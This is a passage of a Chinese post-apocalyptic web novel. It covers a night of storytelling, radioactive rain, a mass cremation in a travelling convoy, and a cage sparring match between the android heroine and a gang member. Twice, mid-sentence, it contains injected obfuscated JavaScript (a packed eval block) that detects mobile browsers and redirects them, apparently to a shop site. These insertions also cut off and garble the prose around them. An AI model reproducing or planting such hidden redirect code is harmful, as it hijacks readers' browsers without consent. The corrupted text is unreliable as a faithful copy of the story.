冬日的鹿群窸窸窣窣地跃行于林间的灌木丛中,蹄下偶然嘎吱嘎吱地踩断枝杈。一旦这事发生了,会有鸟儿将因此受惊,扑扇着,鸣叫着,展翅欲逃往灰蒙蒙的天穹。 哪怕……鹿是变异鹿,鸟是变异鸟。 甚至,变异鸟还有概率无法完成飞翔。它停留的枝丫边上,如果树干表面密密匝匝地缠绕着蛙藤,蛙藤将咧出尖利雪亮的犬齿,弹舌黏上毫无察觉的鸟儿。 随后,剧情便会顺理成章地走向羽毛四散、齿牙尖利插入、血肉模糊、锈气散溢的结局。 “流萤……?” “啊,不好意思,想到了点事情,”流萤回神,微笑着轻声说,“姐,你的这种讲法……可以的。我从来没听过。” 时却接着说,她和沈司奥远远地缀上了鹿群里的两只落单者。 他们遥望这两只变异鹿亲昵地将颈部交错,猩猩胳臂末端的手掌相互触摸、交握,进行指间的嬉戏。 他们耐心地一路跟着它们,到达一条僻静的溪边。 两只变异鹿先后低头啜饮,脑袋上长着黑毛的粗短五指不住地拨划流水。它们丝毫没察觉到,有势在必得的猎人在侧,摩拳擦掌,只待良机。 因说不清道不明的期待与紧张,流萤几乎要忘记呼吸。她的面颊侧略略紧绷住,上下嘴唇也因遵循主人意志的相互挤压而柔软地变形。 奇奇和番茄玩累,一高一低,挨挨蹭蹭地跑回来,挤入时却和流萤之间趴下,哈赤哈赤地吐舌头,浅淡的白气在口鼻之间出现消失,消失出现。 “我觉得时机到了。” 时却伸出右手,食指横,拇指竖,其他三指蜷,比了个躺着的“7”。她曲起食指,手腕微动,作“砰”的开枪手势。 “一只。”她说。 见同伴倒地,剩下那只变异鹿受惊,脑袋顶着的猩猩手臂般的“鹿角”左摇右晃,其上的十指痉挛,乱抓空气。 这只孤儿变异鹿,慌不择路地要跑。 而电光火石之间,时却已完成对那只变异鹿跃起轨迹的预测。 她吸气。当它真实地跳起到最高点时,呼出。 砰! 子弹顺吐息划破空气,撕裂冷冽的冬日寒风,钻入温暖的鹿头。 再次一枪毙命。 “哇……”流萤小声惊呼,脸上因激动而飞起红晕。 一阵风恰巧此时刮了起来,颇有几分由讲述刮入现实之感。 时却的视线如一根无足轻重的羽毛,轻飘飘地落在流萤身上,注视她惊叹出声,注视她的嘴巴情不自禁地微微张开,眼眸中的黑亮瞳孔悄然放大。 薯片袋子嘎吱嘎吱地被传上了数轮,三人周身杂上一股香料味儿。 “没了,到此为止。” 似说书先生落惊堂木于桌,时却弯起嘴角,看流萤红扑扑的脸蛋,猛一拍掌,示意故事就此结束。 流萤拢拢头发,拖长语调“嗳”了几秒钟,略带不舍地接受现实。 薯片袋子再次传到时却手里。时却捏捏底部,察觉有点空,朝流萤推推散在边上的零食,让少女再挑自己喜欢的。 流萤捡起一个透明圆桶,里面装有焦糖口味的爆米花。 丝丝甜蜜在封口的铝箔纸被撕开后隐秘钻出。她往嘴里丢上几粒,含糊不清地说,自己十分想念解压好去处附近一位老奶奶卖的糍饼。 她向时却描述那种小吃,一般有成年人巴掌这么大,主体是糯米,其内有拿油煎炒过的菜馅或肉馅,外头以一种因辐射变异而会散发出桂花香气的竹叶包裹,再用稻草系紧。 带着亲昵的口气,她还抱怨那位老奶奶估计是年纪大了,经常会将糍饼上该打活结的稻草绳打成死结,她身上常年带不了任何利 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她曾在沈司奥的全息屏幕上看过自己体内部分零件的清单,自己有拟人的肺、喉、口腔。她欣然地让这些部件再度工作起来,将自己的经历化为声带的震动,转成无形的言语说出,传到空气里,进入挨着她的少女耳中。 她腾生出一点某种近乎满足的饱腹感。 邀约、接受、搜寻、追踪、潜伏、决战……与周边紫蝎们活动的声音混杂着,时却的讲述散至越来越深的夜色内。 晚十二点,讲述结束,木炭堆燃尽,零食也叫三人吃了七七八八。时却见太晚了,问流萤需不需要送她回去。 流萤眼神亮晶晶地站起身,像只餍足的猫儿一样,伸了个大大的懒腰。她连连摆摆手:“不用啦姐,蝎子有自己的规矩,我很安全。” 时却寻了个塑料袋,把剩下的一点零食装好给她,问她后天再过来,有什么想做的。 流萤略带苦恼地歪歪头,面上却挂着大大的笑容。 “到时候再说吧?”她俏皮且狡黠地说,“姐,你反正不会亏待我啦。” 她转身,裙摆略微仰起,其上的鱼、波浪、鸟和白云在夜色中稍作回旋。她带着奇奇离开。 流萤走后,时却和沈司奥开始收拾帐篷外的东西。 时却问沈司奥,说流萤提到糍饼时,讲她“身上常年带不了任何利器”,是不是属于解压好去处的性工作者们必须要遵守的规范。 沈司奥给予肯定的回答。“老板经常检查,”他说,“如果被客人发现了,客人也会投诉。” 时却进一步确认,如今在区外,这个规矩是否还作数。 “不清楚,我问问老金,他是夜猫子,肯定没睡。” 沈司奥给老金发了消息。过了一会,他转述老金的回答:“作数。” 时却点点头,没说什么。收拾完东西后,两人正要进帐篷,从一个方向来了十几个人,有些吵闹地在附近扎起营。 几分钟后,有上前和其中一人简短交谈完的紫蝎嚷出情况。 那些人今晚原本在某个靠近缓冲点边缘的位置扎营,不知怎地,一支黑蝎小队急吼吼地喊他们集合,挨个检查他们身上有没有被蛰伤的痕迹。 这群人里并没有被蜇伤的家伙。对于他们而言,今夜就是个平平无奇的晚上。 确认人人均无事后,黑蝎小队警告他们远离缓冲点边缘,换个地方扎营。 没有傻子能通过蝎子最初挑选随行的测试,因此他们虽然不明所以,还是直觉有事发生,忙不迭拆帐篷撤走。 离开前,有人留意到黑蝎小队继续进发,八成还要去找其他在缓冲点边缘扎营的人。 时却和沈司奥对视一眼。 沈司奥:“问问蒋云霞?” “嗯。” 时却给蒋云霞发消息,说明自己这边的事情。约莫五六分钟后,蒋云霞的回复到了,时却一看便皱起眉头,把她的回复给沈司奥瞧。 蒋云霞:【有其他人被蛰了,缓冲点边缘有东西,远离。】 时却想问问她的队友怎样了,蒋云霞先时却一步,第二条消息跳出来。 蒋云霞说,半小时前,由于体内器官不明原因地衰竭,她那一对男女队友被宣告死亡。 时却毛骨悚然,下意识往那十几个人来时的方向远眺。她仅看到了深沉而黑暗的夜色。 不久,空气变得湿润,随即淅淅沥沥地下起了雨,直到次日也不见停。 二人不得不冒雨上路。 47. 火化 在户外,即便小雨,下的时间一长,照样能产生大麻烦。 拔营时,情况尚没那么糟糕,尽管地面软塌,但因长满草,泥土不算多么松散,表面的摩擦力尚可。 可一上路,车辆若进入任意土路范围,厉害的就来了。 在数小时雨水的浸泡下,原本由于低温而略显梆硬的土路转为了某种,可以被称作是泥泞陷阱的玩意。 你说不清重量小的摩托会在哪个脏水洼边上打滑,还完全无法猜到,一条道儿上的哪里是车轮捕获器,重量大的四轮车下会有哪个倒霉轮子无声地陷下去,让后边跟着的所有车不得不一块停下傻等,直到数个面无表情的战斗型仿生人赶到,把陷入泥泞的车轮抬起为止。 除了道路,车队里的人也跟着发生了大改变。 原本该骑着摩托四散在车队中的黑蝎们不见了,取而代之的是更多嗡嗡叫的无人机。 并且,今天跟随大部队的紫蝎的密度,较前两日来说明显变高。与之相对应地,上路好一会后,散入林中的紫蝎仍不多。 和紫蝎们之前在每日任务量的压力下,不得不积极离队去狩猎的氛围毫不相同。 最后,也是时却只要看向周边就能发现的诡异事情是—— 所有人,只要是暴露在雨中的人,身上穿戴雨具的款式均大同小异,说是复制粘贴得来的也不为过。 这雨具分为七大部分,包括斗篷式雨披、雨衣、雨裤、雨鞋,以及……一幅薄薄的防水手套和一个虽轻薄柔韧,但足以遮住人整张脸的防水面罩。 是的,这个世界的雨具严实得很,甚至还有让人匪夷所思的防水手套和防水面罩。 认认真真一个不留地将它穿戴完成后,它能把人从头到脚密不透风地裹完了。 今早,沈司奥把这两身雨具翻出来介绍完毕后,时却在“真有这个必要吗”的恍惚中完成了整个穿戴过程。 “上路后你就知道了。”沈司奥当时卖了个关子。 时却原本以为,这套雨具被设计得稍显夸张,是人们出于冬天在区外淋湿了会很麻烦的缘故。 毕竟都是肉体凡胎处在高风险地带中,治疗仪还不管发烧。 而如今上了路,结合所有异象,她终于略显迟钝地反应了过来。 蝎子的人直接消失,是明摆着不想进入雨中。 时却目之所及的绝大部分紫蝎,都将雨具认认真真地穿戴在了身上,还放弃离队,连去挖变异植物的人都没几个,同样表达出一种丝毫不想接触雨水的意味。 这个世界的雨,存在让人避之不及的大问题。 时却伸出被防水手套包裹的指头,拽拽前头沈司奥的雨披,隔着防水面罩,瓮声瓮气地验证自己的猜想:“雨里有辐射?” “对。”沈司奥的声音同样闷闷地从前头传来。 “微量的,可能加速护身符的失效,尤其是在防护罩外。能少碰就少碰。” 她猜对了。 所以,蝎子的人才压根不出现在雨中。而对紫蝎来说,只要进行雨中狩猎,除成功率较往常更低外,多少会接触雨水,稍一权衡,只要手头还有些富余,真不如躺平摆烂,啥也别做。 “那我们随大流?”她对沈司奥说,并如预想中的,得到了后者表示没有意见的回复。 细密的雨幕中,车队缓慢前行。 不用规划狩猎且不用开车,时却有了可供挥霍的闲余。 昨晚,不需要睡眠的她照例在沈司奥入睡后研究了一晚上的入伍新兵,快看吐了,因此这会不想再看。 顺从内心摆烂的声音,她敲敲沈司奥的背。 “好无聊啊老板,闲聊吗?” 沈司奥嗯一声以作回应。 “聊什么?” 时却并没预想好话题,她基于临时起意和想找人说说话出的声。 她胡乱找了一个话题。“之前你没让我买雨具,怎么刚好翻出来两套?我这身是?” “我爷爷的,他年轻时身形和你差不多。” “哦,好巧。” 雨滴打在透明的防水面罩上,时却抹把脸,鼓捣了会终端,“知道这雨要下多久吗?我没找到看天气预报的地方。” 前面沈司奥的头稍向后偏了偏,不过在斗篷雨衣帽部的遮掩下,时却无法看到他的脸和神情。 “没有天气预报了。” 时却不禁用疑问的语气啊了一声。 “越精密的装置,越需要经过特殊的防辐射处理才能在区外运行,”沈司奥说,“每三到五年,一区会召集各区的管理局派代表投票,将这类装置的部分从维护和生产名单中剔除。各区用于搜集气象数据的卫星、太空站和气象雷达装置第一次就被投出去了。” 时却愣住。“怎么会?” “卫星和太空站早在陨石雨降下初期就有损毁,至于地面上的气象雷达……失去卫星和太空站,单独留下它,意义不大。” “……” “还聊吗?”沈司奥问。 “算了,我自己发发呆。”时却答。 她抬头看天,耳边是周遭大车小车行驶时发出的轰鸣,以及仿佛无穷尽的雨水击打万物的细微声响。 雨滴落在她透明的防水面罩上。 一滴。两滴。三滴四滴五六七八九十—— 她的视野两侧,不停掠过形状各异的树冠。 它们经过雨水的折射后,边缘变得扭曲,轮廓中应分属于叶和枝的黄绿与浅褐连成一片,叫人望去,仅可见一片模糊不清的混色。 若忽略它,则在人之所视的中心部,自恍若暗藏了诸多神秘的浅灰色穹顶往下,可见千丝万缕针一样的雨丝凭空出现,永无止境似的绵密地扎下,仿佛某种残酷而看不到尽头的刑罚。 时却放空着瞧了一会,忽然真切地想知道,这个世界的人均心理疾病患病率是多少。 ……总觉得应该不低。 她抹了把透明的防水面罩,重新低头,注视着几股水珠无力地、随波逐流地从雨披的帽沿滚落至雨裤上。 * 中午,二人进入扎营地。 这是时却第三次进入这种并非设置在缓冲点内的扎营地。前天中午第一次是前天,昨天中午第二次昨天,现在第三次,今晚还有第四次。 经过和昨天中午与前天中午的对比,她简单总结出了蝎子对待此类扎营地的处理原则: 一、尽量寻找树木稀疏的地方,哪怕需要绕路也无所谓。 二、提前锯断树干较细的树木,哪怕可能造成行走的不便也无所谓。 三、往空气中尤其是树干上喷洒药水,往草地里撒厚厚的药粉,哪怕会呛得人直打喷嚏,且众人不会在此停留超过两个小时也无所谓。 总而言之,一切措施都或直接或间接地指向了植物们。这也许是因为,在区外的森林中,植物不仅可以成为变异动物的住所和掩蔽地,还可能变成加害人类的变异物本身。 二人停放好摩托,排队买上盒饭。 时却手里提了块防水布,她和沈司奥打算找棵大树,把这块布做个简陋的遮雨棚,再在下边捧饭盒吃饭。 扎营地内,不少未被砍伐的树木上盘踞着蛙藤。有的树上多,有的树上少,不过都在较高处,不会离树下走动的众人太近。 时却看到了一棵大树,它有一片高度堪称完美的枝杈。 她眼前一亮,赶在其他也亮了眼睛的紫蝎之前,赶忙拽了沈司奥小跑过去,抢先他人一步到达树下,理直气壮地完成占位,获得对这棵大树的暂时支配权。 不多时,防水布被微斜地挂在了树墩边上的大树枝丫上。它大概呈长方形,四个角之中,有一角最高,一角最低,使雨水落下后无法积攒,只得顺从地心引力滑落。 由此,它很好地实现遮挡,保护住了待在下头的两位主人。 更多的防水布在临近的和附近的大树下挂起来。 时却和沈司奥吃着饭,两人之间没有什么想聊的,就听他人侃大山。 有两个紫蝎彼此交谈道: “你有没有觉得,这两天路过的地方,蛙藤长的挺密?” “那不是好事嘛,这玩意相对好采点,攻击性也就那样……” “那没下雨的时候是这样,下雨天它们更活跃。” 一人听了,开口搭上那两个紫蝎中先开口的人: “不止密!我这几天都看到了一种疑似变异的蛙藤哩,比普通的活跃多了,只在那种很高很高的树上有,还会蛇一样盘着树扭!” 旁人不信,纷纷说自己没看到,急得那个紫蝎音调越来越高,不断打包票讲自己没说谎。 “嗳,那是因为它们真的都在高树上才有,要不是我的无人机飞上去看到了,我哪能编出来……” 这边还在争论不休,另一边,另两个看上去属于同伴的紫蝎气压稍低,在聊别的话题。 “一会去吗?” “嗯。” “你真要亲眼看啊。” “嗯。” 他们语焉不详,仿佛在刻意回避什么。 “昨晚的,今天中午处理,是吧?在哪来着?” “集中休息处附近。” “要不,我们不去了吧?” “去,”对话中一直显得较为寡言少语的紫蝎说,“最后一面总得见一见。” 时却这才反应过来二人的话题。他们应当在谈论,要不要去看某个于昨夜死去的认识之人被火化。 老金曾说过,在集中休息处附近,蝎子会进行尸体的火化。有人单独出钱的尸体,能被单独火化,出钱的人还可以领走骨灰。 食不知味地咽下最后一口午饭,鬼使神差地,时却看看腕上的终端,对沈司奥说,她想去蝎子预备火化的地方瞧瞧。 沈司奥正踮脚拆系在树枝上的防水布,闻言瞟时却一眼。 “好。”他平静地说。他抖抖防水布,再将其折成小块。 时却并不意外所听到的回答。 ……事实上,她逐渐发现,大概因为沈司奥所求的是平安到达十二区,其他的再没什么的缘故,对于她提出的请求或提议或祈使句,她一表露出自己有所倾向,总能达成所愿。 二人跟着那两名紫蝎,没一会就到达了目的地。 蝎子准备的火化场地,是块刚被人以树木砍伐的手段而生造出来的地方,遍布一个个高矮不一、间距不一,但统一低于某个高度的树墩。 在这些树墩之上,简易地支起了一大一小两个平台。 大平台上围了一圈防火带,防火带内凌乱堆放了一圈混杂着固体酒精和树枝之类的可燃物,再往内方是重头戏:如仓库米袋般层叠堆放的,死状各异的尸体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044369|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些尸体显然被搬出来还没有多久,其中紫蝎占多数。 尸堆上,能让人联想到“湿润”二字的东西有两种:惨白肢体表面上渐渐汇成股的雨水,以及各死尸身上的干涸血迹。 ……小平台的情况相对体面一些。 在小平台远离时却和沈司奥所在处的一侧,排有说长不长,说短不短的队伍,每个排队单元都由死者和携带着死者的活人组成。 因有些距离,加上排着队人遮挡人,时却无法看清所有排队的人的面孔。 小平台上面,摆着的是个尺寸足以躺下两个成年人的棺材模样的装置,合着盖。 “棺材”里大约已被放了尸体,另外还有应是尸体亲朋好友的几个灰蝎围在边上。 这其中大约有一个母亲,搂着她才高至腰间的两个孩子,两个孩子惊恐万状,分别死死抓着母亲的手不放。 时却眼尖,留意到那“棺材”装置一端的侧表面还高高凸起,有几排按钮。她看清了其中五个稍大的字: 【喷火操作处】 ……从那几个字上撕下视线,她环视一圈,将在场的人分为三类:蝎子的工作人员,送尸体来的人,还有更多的,是如她和沈司奥,以及那两个紫蝎一样两手空空的家伙。 现场明明人算多,不过没人发出除痛苦或啜泣以外的声音。 在雨里,在呈透明色的防水面罩下,凭借道道蜿蜒扭曲雨迹的遮掩,每个人的表情变得朦胧且模糊不清,只显露出不约而同的、哀悼般的沉默。 这沉默形成了某种体型庞大、遮天蔽日的怪物。它蹲守在此处,不肯轻易动弹或离去。 片刻后,各有黑蝎大步抬腿,走上大小平台。 大平台上的黑蝎手里拿了一个打火机,小平台上的黑蝎来到“棺材”鼓起的端部,手按在其中一个按钮上。 “开始!”台下的一个黑蝎喝道。 大平台上,伴随微不可闻的“噌”一声,近白橘色的细弱火焰从打火机的火嘴处喷出;随即,打火机的机身被抛起,于一个简短而潦草的抛物线后,飞入防火带内,啪嗒落在杂乱堆放的可燃物上。 小平台上,按钮被按下。两个孩子的手伸进防水面罩中,死死捂住了嘴。他们的母亲则不然,她的喉中发出凄厉的不似人的痛苦呼号。 轰嗡!防火带内爆燃立起赤红的冲天火焰,迅疾自下而上地包裹住了尸堆,如一只贪婪可怖的大嘴。 呼呼呼呼、嘎吱嘎吱——“棺材”内传出这样沉闷的声音,仿佛有什么能融进万物的可怖之风在其中呼啸而过,连皮带骨地融化干净了被放入其内之物。 时却注视了一会这样的场景,转而去看老金口中,那个会显出尸体样貌的投影。 它是个大约四米乘两米的长方形,宽大地伫立在一众参天大树的包围下,边缘闪烁地侵入树杈间,在雨中散发出幽幽亮光。 像一座静默的墓碑。 这投影被沿其宽度方向一分为二,三分之二罗列出了大平台上尸体的样貌,三分之一是竖向滚动的,小平台上待进棺材的“客户”的模样。 时却等了十几秒,才看到蒋云霞队里的那对男女。她又等了一会,小平台上效率很高地上下了几个人,才看到排着队的蒋云霞的身影。 蒋云霞分别是一个担架,每个担架上有黑色的裹尸袋。 她只有一个人,尸体却是两具,时却想她可能是找人帮忙把自己的队友带过来的。 每有一个前头排队单位的消失,蒋云霞就低头,挨个把边上的担架往前拉。 淅淅沥沥的小雨中,时却拉着沈司奥,小心翼翼地改换位置,走到蒋云霞附近,但不让她发现自己和沈司奥。 和此时此刻看所有人一样,因为雨,因为防水面罩,时却看不清蒋云霞的表情。 她说不上该不该为此感到庆幸或松一口气。 又过去一些时间,在蒋云霞前面的人提着一个灰色的防水袋下来了。 那防水袋里装着的,是黑蝎从“棺材”里为其铲上来的骨灰。 ……那防水袋是黑蝎提供的,看上去很厚实,表面微微反光,可能还是用什么防刺材料做的,开口部还有好几层密封结构。 小平台上下来的人都用这个,也没人自带骨灰盒什么的,大概觉得这袋子还可以,即不占地方又实用。 时却看着蒋云霞先抱了一个黑色裹尸袋上去,得了一个防水袋,再抱了余下那个裹尸袋上去,再得一个防水袋。 时却甚至分不清两个裹尸袋里哪个是之前接触过的男队友,哪个是之前接触过的女队友。 只有蒋云霞在每次放好裹尸袋,会拉开拉链,然后大概花上几秒钟,作梳理头发之类的轻柔整理动作。 雨水顺着蒋云霞的防水面罩不断滴下。 恍惚中,时却以为,此情此景下,那些雨滴,也许可以替成是一个人的眼泪了。 等这个仅和自己合作过一次的小队队长孤身一人跳下小平台后,时却拉着沈司奥,如来时那样,打算沉默地离开。 她走出几步。 大概踩到了某个树叶和树枝堆叠得比较厚的地方,她听到了某种声响,持续了大概一两秒钟,是交杂在一起的微弱的“咔咔”和“哔剥”声。 雨仍然在下,势头不见变大,也不见变小,下过了中午,直达傍晚还在下。 48. 陪练 大部队未能按时进入扎营地。 导致这事发生的原因包括多个,譬如天色变暗加下雨,喷药撒药粉之类的活儿干起来不免束手束脚,效率低下啦;因存在“晚上得有地方搭帐篷”的需求,不得不砍更多树以适应分区规划啦,如此之类的。 不过,蝎子并没让众人闲着等待。 林间不比缓冲点那样地势平坦,在树木无规律分布的情况下,大部分车是别想进扎营地了,只能停在路边。 由此,无人机群分散了开,降进大部队里,一道道人声从其中传出,以车牌号或车辆特征为话语的开头,指挥挪车。 一架无人机飞到时却和沈司奥面前,其操纵者仿佛是个熊孩子,绕他们正着盘旋了一圈,反着盘旋了一圈,却不出声。 中午再上车时,沈司奥和时却换了位置,如今是驾驶人的时却试探性招招手,待无人机当真飞到自己面前后,对着上边代表相机的摄像头道: “呃,蜥蜴?” 她在蝎子里认识的人就四个,壁虎、花朵姐、对花朵姐有意见的机械师、蜥蜴。 除了蜥蜴,时却不认为另外三人有闲情逸致干这种事。 “猜对了。” 无人机里传出蜥蜴略有些失真的声音。 “晚上好,雨中的蝴蝶,”她轻快地说,“今天的天气可太讨人厌了,是吧?来,跟我走,壁虎在等你。” 时却拧动油门,随无人机远离大部队,自一条小径入林。 七拐八弯片刻,视野豁然开朗,二人来到一块显然经人工整理才得到的平整碎石地前。 时却一眼便留意到,除她和沈司奥进入时所走的那条小径,还有些路可供外来者抵达这儿。 数个面积不小的充气帐篷井然有序地分布在这块堪称四通八达的碎石地上,一些黑蝎和战斗型仿生人全副武装地于此间走动。 没有树木距离任何一个帐篷在五步以内。 碎石地的边缘,是许许多多个横截面并不算崭新的树桩。树桩带再往外,才有不算粗壮的树簇在一块。 这些树的样子看上去有些奇怪,大冬天里仍枝繁叶茂,绿意盎然,树干部上干干净净,完全不似其他树木,多少有些野兽留下的爪痕,或有蛙藤缠绕于其上。 在蜥蜴的指示下,二人下车。时却边推行摩托,边听她介绍此处。 “我们的人经常在十二区和十三区之间来往,”蜥蜴说,“安全起见,就在缓冲点之间距离远的地方弄了这种临时休憩处,供大家伙用。如果是平时,猎人们想用,交钱就行。” 沈司奥环视四周,指了指那些时却觉得古怪的树木。“仿真树,”他说,“监控就安在那里面,正对这块营地,是吧?” 蜥蜴爽快地承认。无人机将二人带到一个正方形的充气帐篷前。 “进去吧,”她笑嘻嘻道,“别对壁虎太好哦,蝴蝶,你要能打得那榆木脑袋鼻青脸肿,记得拍照,我重金收。” 时却停好车。她上手去掀帐篷的门帘,冷白的灯光从中倾出,叫其内的所有一览无余。 蝎子在里边放了个八角笼,它几乎占满帐篷内的所有空间。 虽然相比于绞肉场的八角笼小了些,不过那切切实实是个正八边形的封闭式擂台,拥有包裹着减震海绵的黑色立柱,以及明黄色的笼中地面。 壁虎站在八角笼边挨挨挤挤放着的几个武器架前,听到响动,回过头。 此刻,时却心中只有一个想法: 这也太奢侈了。她无比想出个“精致蝎子第一次逃往十二区都带了什么”的短视频。 震惊之下,她没太做好表情管理。 壁虎抹了把脸,颇有些无奈:“把脸上表情收收,这是老大坚持要带的,不是我。而且,它算公用品,还是便携拆装款,路上不会占很大空间。” 时却:“……” 意思是有这几点,带个八角笼上路的举动就不会显得很奇怪了是吗? 她微妙地更新了对未曾谋面过的蝎子老大的印象。 走入帐篷,脱下雨具,时却开门见山,问壁虎他需要自己做什么。 壁虎面前的武器架上全是冷兵器,有一排陈列有各式各样的金属指虎,直泛冷光。 他拿起上头的一个指虎,慢慢套在右手四指上,紧攥握成拳。 “你用枪很娴熟,不过我更想见识你的肉搏能力,”他缓缓说,“我希望今天能体会到,你对付变异狼的那种狠劲和认真。” 时却:“……” 她正组织语言准备回答壁虎,告诉他,即使作为甲方爸爸也不能乱开要求。 还没开口,她听到身后的沈司奥窸窸窣窣地往外拿东西。 时却转头看他在干嘛,机械师掏出之前放在他那的指虎,以眼神询问她是否需要。 ……机灵错地方了,老板。 示意沈司奥收指虎回去,时却平静地说: “壁虎,既然你见过我在绞肉场的比斗,见过我捅变异狼脖子的视频,我和你敞亮地说,我对人没有凌虐和破坏欲。况且,一般没人管生死斗叫陪练,我以为陪练该点到为止。” 壁虎并不意外听到了这样的话。 他深深地看时却一眼,转身下手上的指虎。 武器架边上放有一个治疗仪和一箱包装完好的运动饮料,他弯腰撕去封膜,拎出一瓶,看也不看,背对二人反手一丢。 时却轻易将那瓶饮料接住,拧开瓶盖,高举瓶身,在嘴没碰到瓶口的前提下喝上一口,尝了尝味道。 “行吧,很像你能说出口的话。” 壁虎脱下外套随手丢在武器架旁,只着一件黑色的紧身短袖,简单活动身体。 “既然如此,无限制格斗,你或我什么时候想叫停都行。想换兵器的时候,举手。” 他双手十指于胸前交叉,略活动了两下手腕和头,问:“这样如何,蝴蝶?” “可以,”时却说,“你先进去,我马上。” 等壁虎也捡了瓶功能饮料放在八角笼门边外,再走入八角笼中后,时却把功能饮料递给沈司奥,小声道:“给你喝了。” 她喝不喝这玩意都没差,况且刚才尝过味道了,一般。 沈司奥点头,接过瓶子。 留意到两人的互动,壁虎嘴角一抽,眼里终于不得不有沈司奥这个人。 “……行了,蝴蝶!箱子里那些他想喝就喝,快进来!” 甲方爸爸发话,时却哪能不听。 她赶忙脱下外套,提溜着自己那瓶功能饮料小跑过去,机智地在瓶身上的标签上撕了个小口,再和壁虎的那瓶放在一块,进入八角笼中。 最终,她和壁虎谁都没从武器架上取下任何东西。 两副手无寸铁的身躯就这么立足于了笼中地面上,分别处在八角笼的两个相对的角落。 二人摆开架势,谨慎地打量对方,并相互反向地走出几步。 几秒钟后,如两只做好相互撕咬准备的野兽,他们迅速彼此接近。 壁虎对时却稍有了解,时却对壁虎一无所知,然而,二人做出了差不多的举动: 他们都试图尽量侧对彼此,一只胳膊勾住对方的脖子,再另一拳上勾,打向对方的腹部。 时却心中雪亮,自己和壁虎的想法撞车了。 侧身勾脖子,是为挟持要害,并方便接下来实施的,例如勒之类能压迫颈部血管的动作,那能快速结束战斗。 而打向腹部的目的则很简单,这能使人吃痛,进而产生几个瞬间的反应迟缓。 电光火石间,时却顺着壁虎朝脖颈探来的胳膊拧转上身,以化解掉这部分攻势,同时顾头顾不了尾,躲闪不及,别无选择地硬吃下了壁虎捣向腹部的一拳。 不约而同地,壁虎如复制粘贴般,采用了同样的做法。 嘭、嘭……! 两声闷响,昭示出第一轮短暂交锋的结果:平局,双方各吃一拳。 十足的痛感霎时从受击部位顺神经传递到脑部,壁虎面色扭曲一瞬,脚下朝反方向发力远离时却,给自己争取缓冲的时间。 而对于时却而言,她虽一样感到痛楚,能从这股力道中觉出壁虎此人的蛮劲相当大,却不觉得有什么无法忍受。 八角笼内,两道各有其主的呼吸声逐渐变得急促。 分离不过几秒钟,在如战鼓般擂起的心跳声中,二人再次缠斗在一起。 壁虎找了个机会,通过佯攻引走时却的注意力,如铁掌般的双手迅疾钳住她的双肩,猛地往下一压,右腿发力提膝,恶狠狠击向时却的腹部。 他发觉时却对痛苦不算敏感,这一下索性直接用上了十成十力气,叫时却的这具仿生躯体立时给出极为忠诚的拟人反应—— 时却下意识想作干呕,硬生生忍住了,马上回以壁虎一个怼在脸侧的右勾拳,将他暂时逼退。 实际上,她差点没把晚饭吐出来。 好在,她早有预料,早提前和沈司奥确认过,自己的身体大致能对于受击反馈到何种程度。 今晚,她特地没吃多少。 “好,很好!” 壁虎偏头吐出一口血水,极为舒畅地大笑出声。 胳臂上高高隆起的肌肉鼓胀出惊人的轮廓,他再度朝时却攻来。 略作来回,换了一波拳脚后,风水轮流转,在模仿壁虎方才佯攻方式的基础上,时却将对应动作做了点改进,成功迷惑住壁虎。 她抓住了他的一个空挡,闪至他身侧左后方,右臂在后,左胳膊弯曲成V字型并在前,左胳膊成功勾住壁虎的脖颈后牢牢钳住,再倾斜身体,拿体重加上狠力一压,叫壁虎上身后仰—— 趁他病要他命,她痛打落水狗,挥动闲着也是闲着的右臂,握拳重重捣向壁虎腰间! “唔!” 不顾壁虎发出的闷声痛呼,为避免他尽快恢复平衡,时却扣住他的颈部,想急速拖曳着他走出几步,再顺势将其按倒在地。 不料,才迈开一步,她没把握好自己与壁虎之间的距离和相对角度,贴得过近,经验丰富的壁虎找到了机会,忍痛举起左臂,反给她一个肘击! 这一击直接打在了胸椎上,尤其正对一处侧肌肉和脂肪相对较少的部位。 “呃……!” 三十年河东三十年河西,痛呼的人这回变成了时却。 趁机,壁虎掰开她扣在自己颈部的胳膊,反手朝时却脑袋上哐就是一拳。 顶着嗡嗡作响的脑袋瓜子,时却眯起眼睛,不甘示弱,几个呼吸后,冷静地回以壁虎一个直拳,正正好好地给到脸中央。 当即,壁虎鼻子下便流出了血。 尽管他很快狞笑着擦去了这点微不足道的血,不过其痕迹还是留了下来。 这一击造成的结果是,接下来的时间里,他不得不挂着这红色痕迹,和时却你来我往。 如此,无论实际上是他短暂地占了上风,还是时却,基于这位置绝妙的血痕,多少还是更容易给人一种感觉。 一种“还是壁虎看起来更狼狈些”的感觉。 ……至少对于沈司奥这个门外汉来说,是这样的。 对于二人你来我往地互殴了约四十分钟后,才走入帐篷中的人来说,也是这样。 沈司奥对走进来的人不陌生,是那个蝎子的机械师,此前在处理晨晨事情中露过两次脸。 他微张着嘴,带着有点恍惚的神情靠近沈司奥。 “哇,”他嗓门超大地惊呼,“我的乖乖,沈司奥,你找的这只蝴蝶真能啊,壁虎从前都是对上老大,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085104|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被揍成这样。” 因不是死斗,纯拼消耗、技巧和力量,长时间的高度集中下来,八角笼中的二人无论是精神还是肉/体上,均有些疲惫了,注意力也更加容易涣散。 ……反正壁虎就于百忙之中抽出了空来,瞪了那机械师一眼。 